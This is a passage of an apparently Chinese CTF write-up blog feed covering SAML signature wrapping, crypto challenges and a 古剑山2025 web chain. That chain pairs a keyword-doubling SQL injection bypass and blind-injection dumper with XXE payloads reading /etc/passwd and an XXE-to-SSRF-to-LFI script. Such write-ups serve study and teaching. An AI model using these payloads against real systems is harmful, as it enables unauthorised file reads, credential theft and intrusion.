    &amp;lt;!-- 2. 恶意的、未签名的断言 (用于污染属性) --&amp;gt;
    &amp;lt;saml:Assertion ID=&quot;id-malicious-unsigned&quot;&amp;gt;
        &amp;lt;!-- 注意：这里没有 Signature 节点 --&amp;gt;
        &amp;lt;saml:Attribute Name=&quot;uid&quot;&amp;gt;admin&amp;lt;/saml:Attribute&amp;gt;
        &amp;lt;saml:Attribute Name=&quot;eduPersonAffiliation&quot;&amp;gt;Administrators&amp;lt;/saml:Attribute&amp;gt;
    &amp;lt;/saml:Assertion&amp;gt;
&amp;lt;/samlp:Response&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. 结果验证&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;服务器处理逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;检查 XML 结构。&lt;/li&gt;
&lt;li&gt;验证 &lt;code&gt;Assertion[0]&lt;/code&gt; 的签名 -&amp;gt; &lt;strong&gt;通过&lt;/strong&gt; (因为它是原版未动的)。&lt;/li&gt;
&lt;li&gt;加载用户属性 -&amp;gt; 库函数遍历所有 Assertion -&amp;gt; 读取到了 &lt;code&gt;uid=admin&lt;/code&gt; 和 &lt;code&gt;Group=Administrators&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;更新 Session -&amp;gt; 用户变为管理员。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最终页面返回：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;brand&quot;&amp;gt;⚑ HeroCTF • Protected Area&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;who&quot;&amp;gt;&amp;lt;span class=&quot;tag admin&quot;&amp;gt;Admin&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
...
&amp;lt;pre class=&quot;flag&quot; id=&quot;flagBox&quot;&amp;gt;Hero{S4ML_3XPL01T_FR0M_CR3J4M}&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;crypto&lt;/h1&gt;
&lt;h2&gt;Andor&lt;/h2&gt;
&lt;p&gt;关键代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import secrets

AND = lambda x, y: [a &amp;amp; b for a, b in zip(x, y)]
IOR = lambda x, y: [a | b for a, b in zip(x, y)]

with open(&quot;flag.txt&quot;, &quot;rb&quot;) as f:
    flag = [*f.read().strip()]
    l = len(flag) // 2

while True:
    k = secrets.token_bytes(len(flag))
    a = AND(flag[:l], k[:l])
    o = IOR(flag[l:], k[l:])

    print(&quot;a =&quot;, bytearray(a).hex())
    print(&quot;o =&quot;, bytearray(o).hex())
    input(&quot;&amp;gt; &quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;上半部分：AND 运算 (&lt;code&gt;a = flag_top &amp;amp; k&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;公式&lt;/strong&gt;：$a = flag \land k$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;：AND 运算只要有一位是 0，结果就是 0；只有当两位都是 1 时，结果才是 1。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推论&lt;/strong&gt;：如果在某次随机尝试中，结果 &lt;code&gt;a&lt;/code&gt; 的某一位是 &lt;code&gt;1&lt;/code&gt;，那么 &lt;code&gt;flag&lt;/code&gt; 对应的位&lt;strong&gt;必须&lt;/strong&gt;是 &lt;code&gt;1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击方法&lt;/strong&gt;：我们收集多次结果，将它们进行 &lt;strong&gt;按位或（Bitwise OR）&lt;/strong&gt; 运算。只要尝试次数足够多，随机数 &lt;code&gt;k&lt;/code&gt; 总会覆盖到所有的位，最终还原出 &lt;code&gt;flag&lt;/code&gt; 中所有的 1。
&lt;ul&gt;
&lt;li&gt;$Recovered_{top} = a_1 \lor a_2 \lor a_3 \dots \lor a_n$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;下半部分：OR 运算 (&lt;code&gt;o = flag_bottom | k&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;公式&lt;/strong&gt;：$o = flag \lor k$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;：OR 运算只要有一位是 1，结果就是 1；只有当两位都是 0 时，结果才是 0。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推论&lt;/strong&gt;：如果在某次随机尝试中，结果 &lt;code&gt;o&lt;/code&gt; 的某一位是 &lt;code&gt;0&lt;/code&gt;，那么 &lt;code&gt;flag&lt;/code&gt; 对应的位&lt;strong&gt;必须&lt;/strong&gt;是 &lt;code&gt;0&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击方法&lt;/strong&gt;：我们收集多次结果，将它们进行 &lt;strong&gt;按位与（Bitwise AND）&lt;/strong&gt; 运算。初始状态假设 flag 全是 1，通过不断的 AND 运算，把 flag 中原本是 0 的位置“削”出来。
&lt;ul&gt;
&lt;li&gt;$Recovered_{bottom} = o_1 \land o_2 \land o_3 \dots \land o_n$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from Crypto.Util.number import long_to_bytes

# r = process([&apos;python3&apos;, &apos;chal.py&apos;])
r = remote(&apos;crypto.heroctf.fr&apos;, 9000) 
context.log_level = &apos;error&apos;

top, bottom = 0, -1

for _ in range(60):
    r.recvuntil(b&quot;a = &quot;)
    top |= int(r.recvline().strip(), 16)
    r.recvuntil(b&quot;o = &quot;)
    bottom &amp;amp;= int(r.recvline().strip(), 16)
    r.sendline(b&quot;&quot;)

print(long_to_bytes(top) + long_to_bytes(bottom))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Perilous&lt;/h2&gt;
&lt;p&gt;关键代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def encrypt(k: str, m: str) -&amp;gt; str:
    k = bytes.fromhex(k)
    m = bytes.fromhex(m)

    if k in KEYS:
        raise Exception(&quot;Duplicate key used, aborting&quot;)

    KEYS.append(k)

    algorithm = algorithms.ARC4(k)
    cipher = Cipher(algorithm, mode=None)
    encryptor = cipher.encryptor()

    m = xor(m, MASK)
    m = encryptor.update(m)
    m = xor(m, MASK)
    return m.hex()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题的核心是一个&lt;strong&gt;数学障眼法（Red Herring）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;虽然代码看起来很复杂，引入了一个随机的 &lt;code&gt;MASK&lt;/code&gt; 并进行了两次异或操作，但实际上这些操作完全相互抵消了。&lt;/p&gt;
&lt;p&gt;让我们看看加密函数中的核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m = xor(m, MASK)        # 第一步：与 MASK 异或
m = encryptor.update(m) # 第二步：RC4 加密
m = xor(m, MASK)        # 第三步：再次与 MASK 异或
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们需要知道两个关键点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RC4 是流密码（Stream Cipher）&lt;/strong&gt;：它的本质是生成一个密钥流（Keystream, 设为 $S$），然后与明文进行异或。即 &lt;code&gt;RC4(m) = m ^ S&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异或的性质&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;交换律：$A \oplus B = B \oplus A$&lt;/li&gt;
&lt;li&gt;结合律：$(A \oplus B) \oplus C = A \oplus (B \oplus C)$&lt;/li&gt;
&lt;li&gt;自反性：$A \oplus A = 0$，且 $X \oplus 0 = X$。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;将加密过程写成数学公式：$$Ciphertext = (\text{Plaintext} \oplus \text{MASK}) \oplus S \oplus \text{MASK}$$&lt;/p&gt;
&lt;p&gt;利用结合律和交换律重新排列：$$Ciphertext = \text{Plaintext} \oplus S \oplus (\text{MASK} \oplus \text{MASK})$$&lt;/p&gt;
&lt;p&gt;因为 $\text{MASK} \oplus \text{MASK} = 0$，所以：$$Ciphertext = \text{Plaintext} \oplus S$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：&lt;code&gt;MASK&lt;/code&gt; 完全没用！这个加密函数&lt;strong&gt;等价于标准的 RC4 加密&lt;/strong&gt;。你不需要知道 &lt;code&gt;MASK&lt;/code&gt; 是什么，也不需要关心它。&lt;/p&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 16字节 Key 防止服务器报错
key = b&apos;0&apos; * 32 

# 1. 获取加密 Flag
r1 = remote(&apos;crypto.heroctf.fr&apos;, 9001)
r1.sendlineafter(b&apos;: &apos;, key)
flag_enc = bytes.fromhex(r1.recvline().strip().decode())
r1.close()

# 2. 获取密钥流 (Keystream)
r2 = remote(&apos;crypto.heroctf.fr&apos;, 9001)
r2.sendlineafter(b&apos;: &apos;, b&apos;1&apos; * 32)             # 跳过开场
r2.sendlineafter(b&apos;: &apos;, key)                   # 重用 Key
r2.sendlineafter(b&apos;: &apos;, b&apos;00&apos; * len(flag_enc)) # 发送全0明文
keystream = bytes.fromhex(r2.recvline().strip().decode())
r2.close()

# 3. 解密 (利用 pwn 自带 xor)
print(xor(flag_enc, keystream).decode())
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>古剑山2025</title><link>https://sinqwq.top/posts/%E5%8F%A4%E5%89%91%E5%B1%B12025/</link><guid isPermaLink="true">https://sinqwq.top/posts/%E5%8F%A4%E5%89%91%E5%B1%B12025/</guid><description>古剑山2025</description><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;HelloCms&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 信息收集与 SQL 注入 (Login Bypass)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问目标网站 &lt;code&gt;http://120.79.131.78:38888/&lt;/code&gt;，发现是一个 CMS 系统。尝试访问 &lt;code&gt;login.php&lt;/code&gt;，发现存在登录页面。&lt;/p&gt;
&lt;p&gt;经过测试，登录处的 &lt;code&gt;username&lt;/code&gt; 参数存在 SQL 注入漏洞，但存在关键字过滤。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;过滤器分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后端代码逻辑类似于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$id = preg_replace(&apos;/or/i&apos;, &quot;&quot;, $id);
$id = preg_replace(&apos;/and/i&apos;, &quot;&quot;, $id);
$id = preg_replace(&apos;/select/i&apos;, &quot;&quot;, $id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着 &lt;code&gt;or&lt;/code&gt;, &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;select&lt;/code&gt; 等关键字会被替换为空。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绕过方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以利用双写绕过过滤器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;OR&lt;/code&gt; -&amp;gt; &lt;code&gt;OORR&lt;/code&gt; (中间的 &lt;code&gt;OR&lt;/code&gt; 被删掉后，两边的 &lt;code&gt;O&lt;/code&gt; and &lt;code&gt;R&lt;/code&gt; 拼在一起)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AND&lt;/code&gt; -&amp;gt; &lt;code&gt;AANDND&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SELECT&lt;/code&gt; -&amp;gt; &lt;code&gt;SELSELECTECT&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过布尔盲注或联合查询注入，可以获取数据库信息。
最终我们通过注入绕过登录验证，或者直接使用爆破/注入出的管理员密码：&lt;code&gt;kingdom123ABC&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;登录后，跳转到 &lt;code&gt;write.php&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. XXE 漏洞挖掘&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;write.php&lt;/code&gt; 页面，我们发现可以提交内容。通过抓包发现，提交的数据会被 XML 解析器处理。&lt;/p&gt;
&lt;p&gt;读取 &lt;code&gt;write.php&lt;/code&gt; 源码（利用后续发现的漏洞确认）或通过报错推测，后端代码使用了 &lt;code&gt;DOMDocument::loadXML&lt;/code&gt; 且未禁用外部实体引用 (LIBXML_NOENT)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$dom = new DOMDocument;
$dom-&amp;gt;loadXML($_POST[&apos;content&apos;], LIBXML_NOENT);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这导致了 XXE (XML External Entity) 漏洞。我们可以构造 Payload 读取服务器本地文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload 示例 (读取 /etc/passwd):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY x SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;x;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. 内网探测 (SSRF)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于我们无法直接读取到 Flag（尝试 &lt;code&gt;/flag&lt;/code&gt; 失败），我们需要探测内网。
通过读取 &lt;code&gt;/proc/net/arp&lt;/code&gt; 文件，获取内网 ARP 表信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY x SYSTEM &quot;file:///proc/net/arp&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;x;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果:&lt;/strong&gt;
发现内网 IP &lt;code&gt;172.17.0.3&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;接着，利用 XXE 进行 SSRF (Server-Side Request Forgery) 探测该 IP 的 80 端口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY x SYSTEM &quot;php://filter/read=convert.base64-encode/resource=http://172.17.0.3/&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;x;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(这里使用了 &lt;code&gt;php://filter&lt;/code&gt; base64 编码来避免返回内容破坏 XML 结构)&lt;/p&gt;
&lt;p&gt;成功访问到 &lt;code&gt;http://172.17.0.3/&lt;/code&gt;，发现是一个 Web 服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 内网 LFI 漏洞利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;进一步探测 &lt;code&gt;http://172.17.0.3/index.php&lt;/code&gt;，并读取其源码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内网 index.php 源码逻辑:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    error_reporting(0);
    include &quot;flag.php&quot;;
    $file = $_GET[&apos;file&apos;];
    // 过滤器
    if(strstr($file,&quot;../&quot;) || stristr($file, &quot;tp&quot;) || stristr($file,&quot;input&quot;) || stristr($file,&quot;data&quot;)) {
        echo &quot;Oh no!&quot;;
        exit();
    }
    include($file); 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现存在本地文件包含 (LFI) 漏洞，参数为 &lt;code&gt;file&lt;/code&gt;。
过滤器拦截了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;../&lt;/code&gt; (路径穿越)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tp&lt;/code&gt; (拦截 &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt; 等 wrapper)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;input&lt;/code&gt;, &lt;code&gt;data&lt;/code&gt; (拦截 &lt;code&gt;php://input&lt;/code&gt;, &lt;code&gt;data://&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但&lt;strong&gt;未拦截&lt;/strong&gt; &lt;code&gt;php://filter&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 组合攻击 (Chain Exploit)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们的目标是读取内网服务器上的 &lt;code&gt;flag.php&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击链路:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;外部 XXE&lt;/strong&gt;: 攻击者向 &lt;code&gt;write.php&lt;/code&gt; 发送 XML Payload。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSRF&lt;/strong&gt;: &lt;code&gt;write.php&lt;/code&gt; 解析 XML，向内网 &lt;code&gt;http://172.17.0.3/index.php&lt;/code&gt; 发起请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内网 LFI&lt;/strong&gt;: 请求中包含 &lt;code&gt;file&lt;/code&gt; 参数，利用 &lt;code&gt;php://filter&lt;/code&gt; 读取 &lt;code&gt;flag.php&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;构造 Payload:&lt;/strong&gt;
内网请求 URL:
&lt;code&gt;http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注意：URL 中的 &lt;code&gt;php://&lt;/code&gt; 不包含 &lt;code&gt;tp&lt;/code&gt;，所以能绕过内网的过滤器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最终 XML Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY x SYSTEM &quot;php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;x;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. 获取 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;发送上述 Payload 后，服务器返回了两层 Base64 编码的数据：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一层是 &lt;code&gt;write.php&lt;/code&gt; 响应的 Base64（由外部 XXE 的 &lt;code&gt;php://filter&lt;/code&gt; 产生）。&lt;/li&gt;
&lt;li&gt;解码第一层后，得到内网 &lt;code&gt;index.php&lt;/code&gt; 的响应内容，其中包含 &lt;code&gt;flag.php&lt;/code&gt; 源码的 Base64（由内网 LFI 的 &lt;code&gt;php://filter&lt;/code&gt; 产生）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;解码内层 Base64，得到 &lt;code&gt;flag.php&lt;/code&gt; 源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
//echo &quot;flag{50f84daf3a6dfd6a9f20c9f8ef428942}&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sql盲注脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re
import time
import sys

url = &quot;http://120.79.131.78:38888/login.php&quot;

def encode_payload(payload):
    def replace_callback(match):
        s = match.group(0)
        if s.lower() == &apos;or&apos;: return s[0] + s + s[1] 
        elif s.lower() == &apos;and&apos;: return s[0] + s + s[1:] 
        elif s.lower() == &apos;select&apos;: return s[0:3] + s + s[3:]
        return s
    pattern = re.compile(r&quot;(or|and|select)&quot;, re.IGNORECASE)
    return pattern.sub(replace_callback, payload)

def check(payload):
    encoded_payload = encode_payload(payload)
    data = {&quot;username&quot;: encoded_payload, &quot;password&quot;: &quot;123&quot;}
    while True:
        try:
            response = requests.post(url, data=data, timeout=10)
            if &quot;maybe password error!&quot; in response.text:
                return False
            else:
                return True
        except Exception as e:
            print(f&quot;Error: {e}. Retrying...&quot;)
            time.sleep(2)

def binary_search(template, min_val, max_val):
    low = min_val
    high = max_val
    while low &amp;lt;= high:
        mid = (low + high) // 2
        # Check if value &amp;gt; mid
        if check(template.format(op=&quot;&amp;gt;&quot;, val=mid)):
            low = mid + 1
        else:
            high = mid - 1
    return low

if __name__ == &quot;__main__&quot;:
    print(&quot;Finding password length...&quot;)
    length = 13
    print(f&quot;Password length: {length}&quot;)
    
    print(&quot;Dumping password...&quot;)
    password = &quot;kingd&quot;
    sys.stdout.write(password)
    sys.stdout.flush()
    
    for i in range(6, length + 1):
        char_code = binary_search(f&quot;admin&apos; AND CONV(HEX(MID(password,{i},1)), 16, 10) {{op}} {{val}}#&quot;, 32, 126)
        char = chr(char_code)
        password += char
        sys.stdout.write(char)
        sys.stdout.flush()
    print(f&quot;\nPassword: {password}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xxe脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re
import base64

url = &quot;http://120.79.131.78:38888/write.php&quot;
cookies = {&quot;PHPSESSID&quot;: &quot;你的SESSION_ID&quot;} # 需先登录获取

def exploit():
    # 目标: 利用 XXE -&amp;gt; SSRF -&amp;gt; LFI 读取内网 flag.php
    # 内网 LFI Payload: php://filter/read=convert.base64-encode/resource=flag.php
    internal_url = &quot;http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php&quot;
    
    # 外部 XXE Payload
    xml_payload = f&quot;&quot;&quot;&amp;lt;!DOCTYPE root [
    &amp;lt;!ENTITY x SYSTEM &quot;php://filter/read=convert.base64-encode/resource={internal_url}&quot;&amp;gt;
    ]&amp;gt;
    &amp;lt;root&amp;gt;&amp;amp;x;&amp;lt;/root&amp;gt;&quot;&quot;&quot;

    data = {&quot;content&quot;: xml_payload}
    
    print(f&quot;[*] Sending payload targeting: {internal_url}&quot;)
    r = requests.post(url, cookies=cookies, data=data)
    
    # 提取外层 Base64
    match = re.search(r&apos;&amp;lt;root&amp;gt;(.*?)&amp;lt;/root&amp;gt;&apos;, r.text, re.DOTALL)
    if match:
        outer_b64 = match.group(1)
        try:
            # 第一层解码
            inner_content = base64.b64decode(outer_b64).decode(&apos;utf-8&apos;)
            print(&quot;[+] Outer decode successful.&quot;)
            
            # 提取并进行第二层解码 (去除可能存在的空白字符)
            inner_b64 = inner_content.strip()
            flag_source = base64.b64decode(inner_b64).decode(&apos;utf-8&apos;)
            
            print(&quot;[+] Flag Source found:&quot;)
            print(flag_source)
        except Exception as e:
            print(f&quot;[-] Error decoding: {e}&quot;)
    else:
        print(&quot;[-] No content found.&quot;)

if __name__ == &quot;__main__&quot;:
    exploit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;crypto&lt;/h1&gt;
&lt;h2&gt;common rsa&lt;/h2&gt;
&lt;p&gt;共模攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import gmpy2
from Crypto.Util.number import long_to_bytes

N = 
e1 = 
c1 = 
e2 = 
c2 = 

def common_modulus_attack(n, e1, c1, e2, c2):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if gcd != 1:
        print(&quot;Error: e1 and e2 are not coprime. GCD is&quot;, gcd)
        return None
    m = (gmpy2.powmod(c1, s1, n) * gmpy2.powmod(c2, s2, n)) % n
    return int(m)

m_int = common_modulus_attack(N, e1, c1, e2, c2)
if m_int:
    try:
        flag = long_to_bytes(m_int)
        print(&quot;Recovered Flag:&quot;, flag.decode())
    except Exception as e:
        print(&quot;Error decoding flag:&quot;, e)
        print(&quot;Raw integer:&quot;, m_int)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;sol&lt;/h2&gt;
&lt;p&gt;关键代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import hashlib

p,x,a,b,c=getPrime(2025), getPrime(1024),getPrime(512),getPrime(1024),getPrime(1500)
y=x**4+a*x**2+b*x+c
print(f&quot;y={y}&quot;)
print(f&quot;b={b}&quot;)
print(f&quot;c={c}&quot;)
print(f&quot;p={p}&quot;)
flag=b&apos;flag{&apos;+hashlib.md5((str(a)).encode()).hexdigest().encode()+b&apos;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;已知信息：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$p$: 2025 位质数（在本题逻辑中似乎未直接用到，可能是干扰项或作为模数背景）&lt;/li&gt;
&lt;li&gt;$y$: 计算结果，数值很大&lt;/li&gt;
&lt;li&gt;$b$: 1024 位质数&lt;/li&gt;
&lt;li&gt;$c$: 1500 位质数&lt;/li&gt;
&lt;li&gt;$y = x^4 + a \cdot x^2 + b \cdot x + c$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;未知信息：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$x$: 1024 位质数&lt;/li&gt;
&lt;li&gt;$a$: 512 位质数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;目标：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;求解 $a$，计算其 MD5 值作为 flag。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们需要观察方程中各项的数量级大小：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$x \approx 2^{1024}$，则 $x^4 \approx (2^{1024})^4 = 2^{4096}$&lt;/li&gt;
&lt;li&gt;$a \approx 2^{512}$，则 $a \cdot x^2 \approx 2^{512} \cdot (2^{1024})^2 = 2^{512 + 2048} = 2^{2560}$&lt;/li&gt;
&lt;li&gt;$b \approx 2^{1024}$，则 $b \cdot x \approx 2^{1024} \cdot 2^{1024} = 2^{2048}$&lt;/li&gt;
&lt;li&gt;$c \approx 2^{1500}$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;/strong&gt;
最高次项 $x^4$ 的数量级 ($2^{4096}$) 远远大于其他所有项之和。$a \cdot x^2 + b \cdot x + c \approx 2^{2560}$，这相对于 $x^4$ 来说非常小。
因此，我们可以通过对 $y$ 开四次方根来近似求解 $x$。$$ y \approx x^4 \implies x \approx \sqrt[4]{y} $$
更精确地，考虑到 $c$ 是常数项，我们可以先减去 $c$：$$ Y = y - c = x^4 + a \cdot x^2 + b \cdot x $$
由于 $x$ 是整数，我们可以直接计算整数四次方根：$$ x = \text{isqrt}(\text{isqrt}(Y)) $$求出 $x$ 后，我们可以逐步剥离方程求解 $a$：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算 $Y - x^4$：
$$ Y - x^4 = a \cdot x^2 + b \cdot x = x \cdot (a \cdot x + b) $$&lt;/li&gt;
&lt;li&gt;除以 $x$：
$$ \frac{Y - x^4}{x} = a \cdot x + b $$
记 $Z = (Y - x^4) // x$&lt;/li&gt;
&lt;li&gt;求解 $a$：
$$ Z = a \cdot x + b \implies a = \frac{Z - b}{x} $$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import math

y = 
b = 
c = 

Y = y - c
x = math.isqrt(math.isqrt(Y))
print(f&quot;Calculated x (approx): {x}&quot;)

# 2. 验证并求解 a
# Y - x^4 = a*x^2 + b*x
# 提取因子 x: Y - x^4 = x * (a*x + b)
term1 = Y - x**4
if term1 % x == 0:
    # temp = a*x + b
    temp = term1 // x
    
    # temp - b = a*x
    if (temp - b) % x == 0:
        a = (temp - b) // x
        print(f&quot;Found a: {a}&quot;)
        
        # 计算 Flag
        flag_hash = hashlib.md5(str(a).encode()).hexdigest()
        flag = f&quot;flag{{{flag_hash}}}&quot;
        print(f&quot;Flag: {flag}&quot;)
    else:
        print(&quot;Error: (temp - b) not divisible by x&quot;)
else:
    print(&quot;Error: (Y - x^4) not divisible by x&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;work&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;题目描述&lt;/strong&gt;
题目要求输入一个 &lt;code&gt;data&lt;/code&gt;，使得 &lt;code&gt;SHA256(data)&lt;/code&gt; 的结果以 20 个 &lt;code&gt;0&lt;/code&gt; 结尾（十六进制表示）。
错误提示：&quot;No enough trailing zeros in your SHA256!&quot;
题目描述中提到 &quot;就算你有超级计算机你也跑不出来的&quot;，并给出了类似 Bitcoin 创世块哈希的提示。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 暴力破解不可行&lt;/strong&gt;
